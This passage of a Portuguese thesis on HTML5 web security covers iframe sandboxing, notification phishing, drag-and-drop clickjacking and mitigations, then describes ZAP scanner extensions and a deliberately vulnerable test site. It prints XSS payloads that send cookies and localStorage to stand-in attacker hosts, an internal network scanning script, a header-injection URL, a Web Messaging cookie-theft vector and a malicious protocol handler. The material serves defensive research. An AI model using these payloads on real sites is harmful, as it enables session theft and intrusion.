[Michael Schmidt, 2011; Philippe De Ryck and Piessens, 2011] .
Figura 6.8: Exemplo do co´digo de uma Iframe usando o atributo sandbox.
O problema que surge daqui e´ o facto dos UAs antigos na˜o identificarem o atri-
buto sandbox resultando assim num comportamento inesperado. Ou seja, quando
o controlo de seguranc¸a se limitar apenas ao uso do atributo sandbox e´ um aspeto
problema´tico. Pois esta opc¸a˜o deve ser utilizada como uma camada de protec¸a˜o
adicional, e na˜o como me´todo u´nico. Caso o programador carregue conteu´do na˜o
confia´vel para o seu site web usando Iframes contando apenas com o atributo
sandbox para inibir a execuc¸a˜o de JS, enta˜o pode ser executado algum co´digo JS
malicioso no UA da v´ıtima caso a versa˜o do UA na˜o interprete o atributo sandbox.
Se for necessa´ria a execuc¸a˜o da Iframe em modo sandbox, enta˜o deve ser verificado
se o UA suporta ou na˜o Iframe sandboxing e caso contra´rio proibir o carregamento
do conteu´do na˜o confia´vel [Michael Schmidt, 2011; Philippe De Ryck and Piessens,
2011] .
Em alguns casos e´ poss´ıvel permitir clickjacking 5 combinado os recursos Ifra-
me/sandbox. Por exemplo, o atributo sandbox possui o valor “allow-scripts”
que ajudam a quebrar o co´digo inclu´ıdo na Iframe, atrave´s da permissa˜o para
execuc¸a˜o de scripts dentro da Iframe. Atrave´s das novas tags, tais como tags de
apresentac¸a˜o pode ajudar a criar uma camada de apresentac¸a˜o iluso´ria. No ge-
ral o HTML5 ajuda a realizar Clickjacking. Um vasto conjunto de me´todos para
realizar Clickjacking pode ser consultado em [Stone, 2010] .
5O Clickjacking, ocorre quando um invasor usa mu´ltiplas camadas transparentes ou opacas
para enganar e tentar influenciar o utilizador a clicar num bota˜o ou link de outra pa´gina.
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6.5.4 Server-Sent Events
Os Server-Sent Events 6 (SSE) sa˜o uma forma de estabelecer um canal unidire-
cional a partir do servidor ate´ ao UA [Kuppan, 2010a] . Atrave´s deste canal
o servidor pode enviar dados para o cliente e fornecer-lhe informac¸a˜o atualizada
sempre que estiverem dispon´ıveis. Para ale´m dos Web Sockets, os SSE sa˜o outra
funcionalidade do HTML5 que pode ser utilizada para criar um canal remoto ou
ataques Botnet como descrito na secc¸a˜o 6.4.6.1. No entanto, os SSE sa˜o mais
limitados, devido ao facto da direc¸a˜o ser apenas unidirecional, respetivamente do
servidor para o cliente. Contudo os SSE teˆm a vantagem da comunicac¸a˜o ser via
HTTP, na˜o tendo que ser implementado nenhum protocolo como e´ o caso dos Web
Sockets [Michael Schmidt, 2011] .
6.5.5 Notificac¸o˜es Web
A proposta das Web Notifications pelo HTML5 e´ uma funcionalidade muito agrada´vel.
Esta funcionalidade permite que uma aplicac¸a˜o web exiba notificac¸o˜es de alerta aos
utilizadores que se encontram fora da pa´gina (e.g. Gmail no Chrome). A decisa˜o
sobre como as notificac¸o˜es sa˜o apresentadas esta´ a cargo dos UAs. No entanto,
as notificac¸o˜es so´ devem ser apresentadas caso o utilizador o tenha permitido, tal
como o apresentado na Figura 6.9 [W3C, 2012c] .
Figura 6.9: Mensagem de pop-up de uma notificac¸a˜o web. Proveniente de
[McArdle, 2011] .
O facto das notificac¸o˜es poderem conter conteu´do HTML torna-se versa´til. Mas
tambe´m proporcionam um vetor de ataque excelente para poder enganar as v´ıtimas
6Os Server-Sent Events sa˜o uma tecnologia que envia notificac¸o˜es a partir do servidor para
o UA na forma de eventos DOM.
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facilmente. Devido ao modo separado como as notificac¸o˜es surgem a partir dos
browsers, e´ prova´vel que os utilizadores pensem que estas mensagens de pop-up
sejam provenientes do SO ou de alguma aplicac¸a˜o de terceiros, como um cliente
de mensagem instantaˆnea. Neste caso o ataque resume-se ao engenho do atacante
e a` ingenuidade da v´ıtima. Um simples ataque como phishing pode torar partido
das notificac¸o˜es web como ilustrado na Figura 6.10 [McArdle, 2011] .
Figura 6.10: Ataque de Phishing falsificando uma notificac¸a˜o web do Gmail
[McArdle, 2011] .
Como e´ demonstrado na Figura 6.10, o verdadeiro remetente da mensagem
(i.e. jsbin.com) encontra-se identificado, embora a maioria dos utilizadores na˜o se
apercebam disso. Portanto, se o utilizador inserir a sua palavra-chave, esta sera´
enviada para o servidor do atacante.
6.5.6 Drag and Drop API
A funcionalidade Drag-and-Drop permite mover dados de um lado para outro em
redor da aplicac¸a˜o web. Esta funcionalidade e´ equivalente a` alternativa copiar e
colar, com a vantagem de poder ser usada por meio de um simples gesto do rato,
em vez de menus ou atalhos de teclado. Um caso pra´tico e´ a possibilidade de
selecionar o texto de uma pa´gina e arrasta´-lo para um campo de texto.
A maioria dos browsers suportam a API Drag-and-Drop, e portanto, foi padro-
nizada como parte do HTML5. Esta API permite a execuc¸a˜o de JS numa pa´gina
web para definir os dados no in´ıcio da operac¸a˜o arrastar, e posteriormente apo´s
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solta-los permite que sejam lidos. A API na˜o esta´ limitada pela SOP o que impe-
diria que um site acede-se a dados pertencentes a outro domı´nio. Neste caso, os
dados podem ser arrastados livremente de um domı´nio para outro. Os browsers
permitem isso porque arrastar-e-soltar deve sempre ser iniciada por uma ac¸a˜o do
utilizador, e na˜o pode ser iniciado por JS [Stone, 2010] .
Apesar destas precauc¸o˜es de seguranc¸a, o Drag-and-Drop pode ser combinado
com te´cnicas de clickjacking, proporcionando um novo ataque que permite que
texto arbitra´rio seja inserido nas forms de outro domı´nio. Os poss´ıveis passos
para realizar um ataque deste ge´nero sa˜o os que se seguem:
1. Um site malicioso induz um utilizador a comec¸a a arrastar um item na pa´gina
web.
2. Quando a opc¸a˜o arrastar e´ iniciada, a API Drag-and-Drop e´ usada para
definir os dados arrastados para o texto pretendido.
3. Quando a operac¸a˜o arrastar comec¸ar, e´ colocada uma iFrame invis´ıvel de-
baixo do cursor do rato. O iframe conte´m uma Form de outro site, posicio-
nada de tal forma que o cursor do rato esta´ sobre um campo de texto.
4. Quando o utilizador soltar o item, o texto controlado pelo atacante e´ inserido
no campo da form.
Caso se pretenda realizar isto para um formula´rio inteiro, e necessa´rio repetir o
processo acima para cada campo de texto, seguido de um u´ltimo clique para envio
do formula´rio.
Este processo de ataque e´ mais complexo de realizar do que um simples clique,
pois requer convencer o utilizador a realizar os passos acima. No entanto o ataque
poderia ser persuasivo sob muitas outras formas (e.g. movimentando um slider ou
uma scrollbar, arrastando produtos para carrinho compras, movendo pec¸as de um
jogo quebra-cabec¸as, o exemplo da Figura 6.11, etc.).
Esta te´cnica pode ser utilizada em va´rias situac¸o˜es onde a protec¸a˜o contra
CSRF impede o tradicional Clickjacking. Tambe´m pode ser utilizada como um
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Figura 6.11: Exemplo de utilizac¸a˜o do Drag-and-Drop.
“trampolim” para outros tipos de ataques que eram anteriormente dif´ıceis ou im-
poss´ıveis de realizar. Por exemplo, se um site for vulnera´vel a DOM based XSS
atrave´s de texto inserido num campo de pesquisa. Se o texto apenas puder ser es-
crito manualmente, de seguida, Drag-and-Drop poderia ser utilizada para entregar
um ataque XSS (e.g. hijacking de cookies, entre outros).
6.5.7 Canvas
O elemento canvas e´ apenas um recipiente usado para renderizac¸a˜o de gra´ficos,
gra´ficos de jogos ou outras imagens visuais, que va˜o correndo numa pa´gina web
via JS. Os autores da especificac¸a˜o do HTML5 identificaram a vulnerabilidade
de fuga de informac¸a˜o para o elemento canvas, caso as Scripts possam aceder a
informac¸o˜es atrave´s de diferentes origens (e.g. aceder a informac¸o˜es como pixels a
partir de imagens de outra origem, que na˜o a mesma).
A pro´pria especificac¸a˜o do HTML5 apresenta um me´todo de atenuac¸a˜o atrave´s
de uma implementac¸a˜o segura. Em que os elementos canvas sa˜o definidos para
possuir uma flag indicando se eles sa˜o de origin-clean. Portanto e´ sugerindo que
todos os elementos canvas devem iniciar com a flag origin-clean definida como
true. A flag apenas deve ser definida como false quando qualquer uma das ac¸o˜es
identificadas na pro´pria especificac¸a˜o ocorrer. Essas excec¸o˜es pode ser consultadas
em [W3C, 2012d] .
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6.6 Assegurar a Seguranc¸a de Aplicac¸o˜es HTML5
Para ale´m das contramedidas apresentadas anteriormente para as funcionalidades
do HTML5, existem outras medidas ou me´todos de prevenc¸a˜o que tambe´m tem
um papel muito contributivo para atenuar ou eliminar os riscos desta nova versa˜o
do HTML, e que sa˜o apresentadas ao longo desta secc¸a˜o. As ameac¸as de seguranc¸a
cobertas no cap´ıtulo 4 tambe´m sa˜o consideradas.
6.6.1 Guias de Seguranc¸a e Regras de Prevenc¸a˜o
Existem va´rios documentos que ajudam os programadores a escrever co´digo se-
guro. No entanto, os documentos open-source que descrevem tecnicamente como
se constro´i apropriadamente a seguranc¸a nas aplicac¸o˜es web, sa˜o mais raros. A
OWASP possui um guia 7 que descreve componentes te´cnicos, de como se constro´i
e mante´m uma aplicac¸a˜o web segura. Para ale´m disso a OWASP tambe´m possui
va´rias pa´ginas com regas de prevenc¸a˜o para XSS 8, CSRF 9, XSS baseado no DOM
10, HTML5 11, etc.
6.6.2 Utilizar os pro´prios Recursos HTML5
Para ale´m das dicas de implementac¸a˜o das funcionalidades de forma segura, alguns
dos problemas de seguranc¸a, tambe´m podem ser abordados atrave´s dos pro´prios
recursos, tais como:
3 Web Messaging: O qual permite uma comunicac¸a˜o segura atrave´s de di-
ferentes origens sem a necessidade de inseguranc¸a (i.e. hacks) (ver secc¸a˜o
6.4.4).
7The Open Web Application Security Project-http://coitweb.uncc.edu/~billchu/
classes/fall03/itis5166/appsecurity.pdf
8https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_
Sheet
9https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
_Prevention_Cheat_Sheet
10https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
11https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
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3 Iframe Sandboxing: A incorporac¸a˜o de Iframes podem limitar as capaci-
dades, tais como proibir a execuc¸a˜o de JS (ver secc¸a˜o 6.5.3).
6.6.3 Validac¸a˜o de Input
Existem va´rias ferramentas para validac¸a˜o de input, tais como Apache Commons
Validator, OWASP ESAPI Validators, AntiSamy, HTML Purifier, Antixss, etc. A
seguir sa˜o apresentadas algumas caracter´ısticas do AntiSamy apenas como exemplo
deste tipo de ferramentas.
6.6.3.1 AntiSamy
O AntiSamy corresponde a uma API que tem com objetivo garantir que o HTML e
CSS fornecido pelo utilizador esta´ em conformidade com as regras da aplicac¸a˜o. Ou
seja, esta API ajuda a assegurar que os utilizadores na˜o inserem co´digo malicioso
conjuntamente com o co´digo HTML enviado nos pedidos realizados, nem consiga
persisti-lo no servidor. As CSS so´ sa˜o consideradas maliciosas quando elas invocam
o motor de JS. No entanto, existem muitas situac¸o˜es onde o HTML/CSS puros
podem ser usados de forma mal-intencionada. Por isso, tambe´m sa˜o cobertos pela
ferramenta [OWASP, 2012b] .
A comunicac¸a˜o entre o mecanismo de seguranc¸a e o utilizador e´ praticamente
num sentido, e por uma boa raza˜o. Se o mecanismo retorna-se uma resposta
mencionando que determinado input se encontra inva´lido (e.g. o nome de uti-
lizador na˜o existe), poderia potenciar a descoberta de detalhes sobre o processo
de validac¸a˜o por parte de um invasor, o que e´ consideravelmente imprudente pois
permite que o atacante possa aprender e reconhecer as fraquezas do mecanismo.
Simplesmente rejeitar o input do utilizador sem qualquer aviso sobre a impossibi-
lidade da operac¸a˜o e´ irritante e origina uma ra´pida procura de outra aplicac¸a˜o.
O AntiSamy proporciona uma protec¸a˜o de seguranc¸a suficientemente perto de
99% contra ataques XSS [OWASP, 2012b] . Encarrega-se de limpar o HTML/CSS
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indesejado que possa conter XSS e devolve uma versa˜o segura do referido Input,
mantendo toda a formatac¸a˜o inicial do co´digo. Este recurso possui um ficheiro
12 de configurac¸a˜o (e.g. antisamy-ebay.xml) destinado a` identificac¸a˜o de quais as
regras de validac¸a˜o a averiguar. A utilizac¸a˜o do AntiSamy e´ anormalmente fa´cil.
Ver exemplo da invocac¸a˜o do AntiSamy com o ficheiro de pol´ıticas na Figura 6.12.
Figura 6.12: Exemplo de invocac¸a˜o da API do AntiSamy.
6.6.4 Utilizar Web Application Firewalls
Uma Web Application Firewall (WAF) tem como objectivo separar o tra´fego web
do tra´fego malicioso antes de ser recebido pela aplicac¸a˜o. As WAFs sa˜o semelhan-
tes mas na˜o ideˆnticas a`s firewalls de rede, nas quais as pol´ıticas sa˜o tipicamente
aplicadas ao enderec¸o IP, portas e protocolos. As WAFs sa˜o designadas para ins-
pecionar o tra´fego HTTP e validar os dados presentes nos headers, paraˆmetros
URL, e conteu´do web. As firewalls de rede sa˜o utilizadas para proteger hosts in-
seguros de uma explorac¸a˜o remota, enquanto as WAFs fazem o mesmo para as
aplicac¸o˜es web inseguras.
Mesmo assumindo que os hackers conseguem atacar uma aplicac¸a˜o web inse-
gura, pode utilizar-se uma WAF para intercetar e bloquear estes ataques antes de
atingirem a aplicac¸a˜o. As regras definidas na WAF cobrem ataques comuns tais
como XSS, SQL Injection, etc. Atrave´s da configurac¸a˜o destas regras na WAF,
muitos ataques podem ser identificados e bloqueados. Como recomendac¸a˜o ver
a lista de WAFs disponibilizada pela OWASP, assim como, quais os principais
crite´rios de selec¸a˜o.
12Exemplos desse ficheiro podem ser encontrados em http://code.google.com/p/
owaspantisamy/downloads/list
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6.7 S´ıntese
A seguir apresentam-se algumas das melhores pra´ticas a seguir no desenvolvimento
de aplicac¸o˜es HTML5:
3 Ter cuidado ao utilizar o Web Messaging atrave´s do domı´nio (ver secc¸a˜o
6.4.4.2);
3 Validar sempre os inputs e filtrar os inputs maliciosos antes de usar as APIs;
â A validac¸a˜o de inputs deve ser feita, no mı´nimo, do lado do servidor
pois a validac¸a˜o do lado do cliente pode ser potencialmente ultrapassada
recorrendo a uma proxy web.
â Quando se utiliza SQL do lado do cliente, tal como o WebSQL, enta˜o
devem filtrar-se os dados para quaisquer vetores de ataque de SQL
Injection e utilizar Prepared Statements.
3 Certifique-se de que o armazenamento local utilizado e´ seguro;
â Sempre que poss´ıvel na˜o armazenar nenhuns dados confidenciais em
armazenamento local oﬄine. Caso contra´rio deve cifrar os dados.
â Cuidado com aplicac¸o˜es HTML5 oﬄine pois sa˜o vulnera´veis a envene-
namento de cache, e portanto, deve validar-se os dados antes de colocar
qualquer coisa no armazenamento oﬄine/local.
3 Revisa˜o de co´digo para as novas tags, atributos e CSS;
â Revisa˜o de co´digo relativo a`s novas tags HTML5, para ter certeza que
qualquer input JS e´ validado;
3 Considere restringir ou proibir o uso da API Web Socket.
3 Utilizar o atributo sandboxing nas iFrames sempre que poss´ıvel. Pois evita:
â O acesso ao DOM da pa´gina principal.
â A execuc¸a˜o de scripts.
â A inserc¸a˜o de forms pro´prias ou a manipulac¸a˜o de forms via JS.
â A leitura e escrita de cookies ou dados locais.
â O conteu´do e´ tratado como sendo de uma u´nica origem, as forms e as
scripts sa˜o desativadas, os links sa˜o impedidos de obter outros contextos
de navegac¸a˜o e os plugins esta˜o desativados.
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Extensa˜o ao ZAP
Este cap´ıtulo finda materializar e expor alguns dos conceitos anteriormente des-
critos. Prove igualmente apresentar o trabalho realizado relativamente a` extensa˜o
do ZAP com os mo´dulos de detec¸a˜o de vulnerabilidades HTML5.
“All types of testing can show only the presence of flaws and never the absence
of them!”
(Matt Bishop)
7.1 Introduc¸a˜o
Para ale´m de ser uma ferramenta de co´digo aberto, o ZAP caracteriza-se por
ser um excelente recurso para a detec¸a˜o de vulnerabilidades, e por possuir va´rias
te´cnicas de verificac¸a˜o de seguranc¸a ja´ embutidas na aplicac¸a˜o. Estas vantagens
combinadas com a sua possibilidade de extensa˜o por terceiros potencia ainda mais
a sua aplicabilidade.
O ZAP permite adicionar co´digo personalizado, tal como adicionar Custom
Fuzzing files com dados inva´lidos ou na˜o esperados, permite adicionar Filters com
funcionalidades extra que podem ser aplicados a cada request e response, permite
adicionar Active Scan rules para encontram potenciais vulnerabilidades atrave´s
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do ataque a`s aplicac¸o˜es alvo, permite adicionar Passive Scan rules para descobrir
potenciais vulnerabilidades atrave´s da ana´lise dos requests e responses numa thread
em background, entre outros. Foram enumerados apenas os mais relevantes e alguns
aos quais recorri.
7.2 Website vulnera´vel html5vuln
Foi desenvolvido um website vulnera´vel, designado HTML5vuln cujo objetivo e´
servir como plataforma para testes de penetrac¸a˜o, por parte dos novos mo´dulos
de detec¸a˜o de vulnerabilidades adicionados ao ZAP.
7.2.1 Design
O website e´ constitu´ıdo por alguns dos principais recursos do HTML5, traduzidos
nas seguintes funcionalidades:
E Upload de mensagens - Permite realizar o upload de mensagens no site.
E Echo de mensagens - Permite enviar mensagens para um servidor Web
Socket e apresentar a resposta no site.
E Guardar mensagens localmente - Permite ver e guardar mensagens lo-
calmente via Web Storage.
E Enviar mensagens entre pa´ginas - Possibilita a comunicac¸a˜o entre duas
pa´ginas recorrendo ao Web Messaging.
E Enviar mensagens para um servidor Web Socket - Permite enviar
dados do UA para um servidor Web Socket e vice-versa.
7.2.2 Vulnerabilidades
As funcionalidades descritas anteriormente apresentam as seguintes vulnerabilida-
des:
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Definic¸a˜o Errada do CORS: O atributo ”Cross-Origin-Resource-Sharing” esta´
definido como ”*”, permitindo o acesso atrave´s da origem.
Reflected XSS: Existe uma vulnerabilidade de Reflected XSS na submissa˜o do
nome do utilizador associado a` Figura 7.1. O paraˆmetro da consulta na˜o e´ tratado
antes de ser apresentado ao utilizador. A existeˆncia desta vulnerabilidade pode ser
testada modificando o paraˆmetro da consulta para <script>alert(’xss’)</script>.
Figura 7.1: Vulnerabilidade de Reflected XSS.
Stored XSS: Existe uma vulnerabilidade de Stored XSS associada ao upload de
mensagens, Figura 7.2. O comenta´rio na˜o e´ escaped apropriadamente e portanto
pode ser criado um comenta´rio que contenha co´digo JS. Posteriormente quando
um utilizador visitar a pa´gina o co´digo inserido e´ despoletado.
Figura 7.2: Vulnerabilidade de Stored XSS.
CSRF: Possui uma vulnerabilidade de CSRF atrave´s da URL 1 derivada a partir
da Figura 7.3 que permite alterar as permisso˜es de um utilizador.
1http://html5vuln?password_new=admin&password_conf=admin&Change=Change
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Figura 7.3: Vulnerabilidade de Cross-Site Request Forgery.
7.3 Mo´dulos Adicionados
Foram adicionados novos Plugins ao ZAP no sentido de detetar alguns dos ris-
cos de seguranc¸a das novas funcionalidades do HTML5. Esse co´digo adicional
verifica se a aplicac¸a˜o web possui vulnerabilidades devido a algum dos novos re-
cursos HTML5, potenciais de serem exploradas via Injec¸a˜o, XSS, CSRF, etc, ou
diretamente atrave´s dos pro´prios recursos como por exemplo o CORS.
7.3.1 Cross-Origin Resource Sharing
O CORS define se o JS proveniente de uma determinada origem, pode ou na˜o
ler a resposta retornada pelo XMLHttpRequest. Esse JS apenas pode interpretar
o conteu´do da resposta HTTP dependendo do valor presente no header ”Access-
Control-Alow-Origin”da mesma.
Tendo em conta a Figura 7.4 o valor retornado (i.e. ’*’) e´ inseguro, e portanto
um indicio de que a aplicac¸a˜o pode estar vulnera´vel. Sendo assim, o Plugin adi-
cionado ao ZAP que finda detetar poss´ıveis vulnerabilidades derivadas do CORS,
analisa o header da resposta e determina esse risco, atrave´s do me´todo apresentado
na Listagem 7.1.
public void scanHttpResponseReceive(HttpMessage msg, int id, Source
source) {
Date start = new Date();
String allowOrigin =
msg.getResponseHeader().getHeader("Access-Control-Allow-Origin");
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Figura 7.4: Ataque recorrem-do ao Cross-Origin Resource Sharing [Hodges,
2012] .
String allowOriginWithCredentials =
msg.getResponseHeader().getHeader("Access-Control-Allow-Credentials");
StringBuilder otherInfo = new StringBuilder();
boolean hasRisk = false;
int alertType = Alert.RISK_INFO;
if (allowOrigin!= null){
String[] origins = allowOrigin.split(",");
List<String> originsList = Arrays.asList(origins);
if (originsList.contains("*")){
alertType = Alert.RISK_HIGH;
hasRisk = true;
}else{
alertType = Alert.RISK_INFO;
otherInfo.append("Make sure that the origins defined in
\"Access-Control-Allow-Origin:" +
allowOrigin + "\" can have the access
control of the domain.");
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hasRisk = true;
}
if (allowOriginWithCredentials != null &&
allowOriginWithCredentials.equals("true")){
otherInfo.append("It also allows access control
credentials, which is more dangerous.");
}
}
...
}
Listagem 7.1: Me´todo de ana´lise da resposta HTTP para detec¸a˜o de
vulnerabilidades CORS.
Scanning da Rede Interna
Atrave´s da API do CORS e dos Web Sockets e´ poss´ıvel rastrear a rede interna
a` procura de outros enderec¸os IP, e verificar se estes permitem realizar pedidos
atrave´s da origem. A Listagem 7.2 representa um exemplo de utilizac¸a˜o de XM-
LHttpRequests para detetar se o CORS esta´ definido como *. O scanning de portas
tambe´m e´ poss´ıvel recorrendo ao mesmo exemplo (fazendo variar as portas na url)
e aplicando a lo´gica apresentada no Apeˆndice B.3.3.
function scan(url){
try{
xhr = new XMLHttpRequest();
xhr.open("GET", url, false);
xhr.send();
return true;
}catch(err){
return false;
}
}
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for(i=0;i<=25;i++){
target = "http://192.168.100."+i+"/"
st = scan(target)
if(st==true)
status += "<br>"+target
+"(Access-Controll-Allow-Origin:---->"+st+")";
documen.getElementById(’result’).innerHTML = status
}
Listagem 7.2: Vetor de ataque XSS para scanning da rede interna.
Header Injection
Os ataques de injec¸a˜o de co´digo no cabec¸alho tambe´m requerem especial atenc¸a˜o
devido ao CORS. Por exemplo, o excerto de co´digo ”%0A%0D”da seguinte URL
ira´ inserir uma quebra de linha adicional na resposta e fazer com que o browser
pense que o Access-Control-Allow-Origin foi definido pelo servidor.
http://www.html5vuln.com/index.jsp%0A%0DAccess-Control-Allow-Origin:+*%
0a%0d%0a%0d
Portanto, caso seja poss´ıvel a injec¸a˜o de co´digo no cabec¸alho, o atacante e´ capaz
de substituir ou definir o cabec¸alho Access-Control-Allow-Origin como *. Este
corresponde a um dos vetores de ataque para teste adicionados ao ZAP.
7.3.2 Web Storage
Com a Web Storage os ataques de XSS adquirem um novo potencial quanto a`
explorac¸a˜o de dados privados armazenados no cliente. Portanto, uma vulnerabi-
lidade de XSS pode ser utilizada para extrair dados da aplicac¸a˜o para posterior
explorac¸a˜o.
Enquanto os dados dos cookies na˜o sa˜o enviados automaticamente pelo browser
a cada pedido, os dados do Local Storage sa˜o facilmente acedidos via JS.
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XSS
Tipicamente os dados armazenados no cliente sa˜o alvo de ataques XSS, tal como
o roubo do ID de sessa˜o presente no cookie. Do mesmo modo caso o ID de sessa˜o
esteja armazenado na Local Storage pode ser facilmente roubado por um atacante
(e.g. ver Listagem 7.3).
Example XSS to steal session ID from cookie
<script>document.write("<img
src=’http://attackersite.com?cookie="+document.cookie+"’>");</script>
Example XSS to steal session ID from local storage
<script>document.write("<img
src=’http://attackersite.com?cookie="+localStorage.getItem(’foo’)+"’>");
</script>
Listagem 7.3: Ataque XSS para roubar o ID de sessa˜o.
A dificuldade deste novo vetor de ataque prende-se pela necessidade de conhe-
cimento do nome da varia´vel que possui o ID.
Os testes relativos a` Web Storage adicionados ao ZAP correspondem efetiva-
mente a novos vetores de ataque XSS (tais como, os apresentados nas Listagens 7.4
e 7.5) que permitam obter ou manipular os dados armazenados na Web Storage.
var xmlhttp=false;
var ls = "";
if(localStorage.length){
console.log(localStorage.length)
for(i in localStorage){
ls += "("+i +"-"+localStorage.getItem(i)+")";
}
}
function sendreq()
{
xmlhttp = new XMLHttpRequest();
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xmlhttp.open("POST", "http://attacker/msg/"+ls+"", true);
// Using text/plain to bypass preflight call
xmlhttp.setRequestHeader("Content-Type", "text/plain");
xmlhttp.send(ls);
}
sendreq();
Listagem 7.4: Ataque XSS para obter todos os valores armazenados na
localStorage [Shah, 2012a] .
Proof of concept XSS with local storage:
<script>alert(localStorage.getItem(’foo’))</script>
javascript:alert(localStorage.getItem(’fooName’));
Set a Local Storage Value via URL scriptlet:
javascript:localStorage.setItem(’fooName’,’barValue’);
javascript:localStorage.setItem(’fooName’,
JSON.stringify(’data1:a,"data2":b,data3:c’));
Get Number of Local Storage Objects via URL scriptlet:
javascript:alert(localStorage.length);
Clearing all Local Storage associated with site:
javascript:localStorage.clear()
Listagem 7.5: Vetores de ataque XSS para explorar o Local Storage.
Flag HTTPOnly
Se a flag HTTPOnly (opcional) for inclu´ıda no header da resposta HTTP, isso
instru´ı o browser para na˜o permitir o acesso aos cookies via JS. Assim, mesmo que
exista uma falha XSS, e esta seja explorada, o browser na˜o vai revelar o cookie a
terceiros.
O problema de utilizar o Local Storage para os IDs de sessa˜o e´ a incapacidade
para aplicar a flag HTTPOnly que e´ utilizada para os cookies. Ale´m disso, e´
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pretendido que a Local Storage seja acess´ıvel via JS e portanto a ideia HTTPOnly
na˜o se aplica. Notar que o Local Storage na˜o e´ designado para armazenar este
tipo de informac¸a˜o, mas e´ importante explora-lo precisamente por causa dos erros
cometidos no desenvolvimento.
Ataques Cross-directory
Os cookies possuem um atributo path que define onde o cookie e´ valido e a
partir de onde pode ser lido. No entanto, na˜o existe nada semelhante na Web
Storage. Isso significa que pode ser utilizado XSS para obter dados do cliente,
pois na˜o existe uma restric¸a˜o quanto ao atributo path. Portanto, todas as pa-
ginas do domı´nio tem acesso a` mesma a´rea da SessionStorage. Por exemplo,
o http://html5vuln/WebStorage.jsp/joana pode roubar tudo o que http://
html5vuln/WebStorage.jsp/pedro armazenou. O LocalStorage tambe´m carece
de um recurso que restrinja o caminho, o que o torna totalmente suscet´ıvel a
ataques Cross-directory.
7.3.3 Web Messaging
O Web Messaging permite enviar mensagens entre diversas windows, sem garantias
de que a window de origem seja conhecida e que na˜o tenha enviado uma mensagem
maliciosa. Portanto, deve-se verificar sempre a origem das mensagens enviadas
por outras origens. Caso contra´rio, podem surgir falhas de seguranc¸a recorrendo
a ataques XSS.
XSS
Os ataques de XSS tornam-se mais poderosos caso o Web Messaging na˜o seja
utilizado devidamente. Por exemplo, considerando uma pa´gina com o co´digo da
Listagem 7.6, a qual aceita mensagens enviadas por qualquer outra origem. Se
alguma dessas origens permitir injetar co´digo XSS, esse co´digo tambe´m pode ser
propagado para essa pa´gina.
function receiveMessage(event)
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{
// Do we trust the sender of this message?
//if (event.origin !== "http://example.org")
// return;
document.getElementById(’x’).innerHTML = event.data;
}
window.addEventListener("message", receiveMessage, false);
Listagem 7.6: Implementac¸a˜o insegura do handler de recepc¸a˜o de mensagens.
A verificac¸a˜o automa´tica deste tipo de riscos de seguranc¸a e´ dif´ıcil para um
BB-WASS, mas e´ mais fa´cil para um analisador esta´tico. Por outro lado, pode
tirar-se partido do Web Messaging para construir novos vetores de ataque XSS para
roubar informac¸a˜o confidencial. Por exemplo poderia ser constru´ıdo um vetor de
ataque XSS que adiciona um handler para receber todas as mensagens enviadas
atrave´s do postMessage(), semelhante ao handler da Listagem 7.6 mas que envie
o conteu´do das mensagens para o atacante.
A Listagem 7.7 representa outro exemplo de XSS que tira partido do Web
Messaging para roubar informac¸a˜o. Este vetor de ataque tem como objetivo coletar
dados e envia-los via Web Messaging para a IFrame injetada, a qual carrega uma
pa´gina proprieta´ria, cuja func¸a˜o e´ enviar dados para um servidor proprieta´rio.
document.write(’<iframe
src="http://192.168.1.17:8080/zap-wave/html5vuln/externalWebMessaging.jsp"
id="iframeExtCsncCh" width="710" height="300" ></iframe>’);
window.onload = function(){
var window =
document.getElementById("iframeExtCsncCh").contentWindow;
window.postMessage(document.cookie, "http://192.168.1.17:8080");
};
Listagem 7.7: Vetor de ataque XSS para explorar Web Messaging.
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7.3.4 Custom Scheme and Content Handlers
Quando uma aplicac¸a˜o tenta registar um Protocol Handler, o domı´nio da url do
protocolo teˆm obrigatoriamente de corresponder ao mesmo domı´nio da aplicac¸a˜o.
O que significa que na˜o e´ poss´ıvel injetar um vetor de ataque na aplicac¸a˜o que re-
giste um Handler malicioso, para roubar informac¸a˜o. Este tipo de ataque depende
sempre do registo do Protocol Handler atrave´s do acesso a um site malicioso por
parte do utilizador. Nesse caso quando o cliente utilizar este protocolo no contexto
de outras aplicac¸o˜es vai acabar por enviar informac¸a˜o para o atacante. A Listagem
7.8 corresponde ao registo de um protocolo mailto malicioso.
function registerMailtoAsProtocolHanlder(){
window.navigator.registerProtocolHandler("mailto",
"http://googlemali.com/?userid=123456&uri=%s",
"Gmail");
}
Listagem 7.8: Registo de um protocol handler malicioso.
O me´todo de detec¸a˜o de um risco de seguranc¸a deste ge´nero passa por verificar
se a aplicac¸a˜o web utiliza Content Handlers. Para isso, durante a fase de cra-
wling sa˜o analisadas as pa´ginas a` procura da func¸a˜o registerProtocolHandler e do
nome atribuindo ao protocolo. Ale´m disso, e´ necessa´rio verificar se esse protocolo
e´ efetivamente utilizado pela aplicac¸a˜o (tal como por exemplo a Listagem 7.9)
procurando pelo nome do protocolo (i.e. mailto).
<a href="mailto:some+data">Open in "Gmail"</a>
Listagem 7.9: Exemplo de uma referencia para um Protocol Handler.
Portanto, caso isso se verifique, enta˜o e´ poss´ıvel dizer que os clientes correm o
risco de utilizar um Protocol Handler malicioso previamente registado, basta que
escolham a App errada, tal como o ilustrado na Figura 7.5.
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Figura 7.5: Exemplo de selec¸a˜o de uma aplicac¸a˜o maliciosa para mailto.
7.3.5 Web Sockets
Os Web Sockets permitem estabelecer uma conexa˜o e enviar dados arbitra´rios
para qualquer servidor. O protocolo Web Socket, ao contra´rio dos pedidos HTTP,
utiliza um mecanismo verified-origin, que deixa o servidor alvo decidir, quais as
origens a partir das quais aceita conexo˜es. Desta forma, como a SOP na˜o se aplica
aos Web Sockets isto leva a que os ataques XSS ganhem num novo potencial.
XSS
As vulnerabilidades de XSS na˜o dependem da utilizac¸a˜o de Web Sockets. No
entanto, a utilizac¸a˜o de Web Sockets em aplicac¸o˜es web, vulnera´veis a XSS, po-
tenciam va´rios novos riscos. Por exemplo, um atacante pode estar apto para
reescrever as func¸o˜es de callback de uma conexa˜o Web Socket. Esta abordagem
permite ao atacante rastrear tra´fego, manipular dados, ou implementar um ataque
man-inthe-middle contra as conexo˜es Web Socket [Erkkila, 2012] .
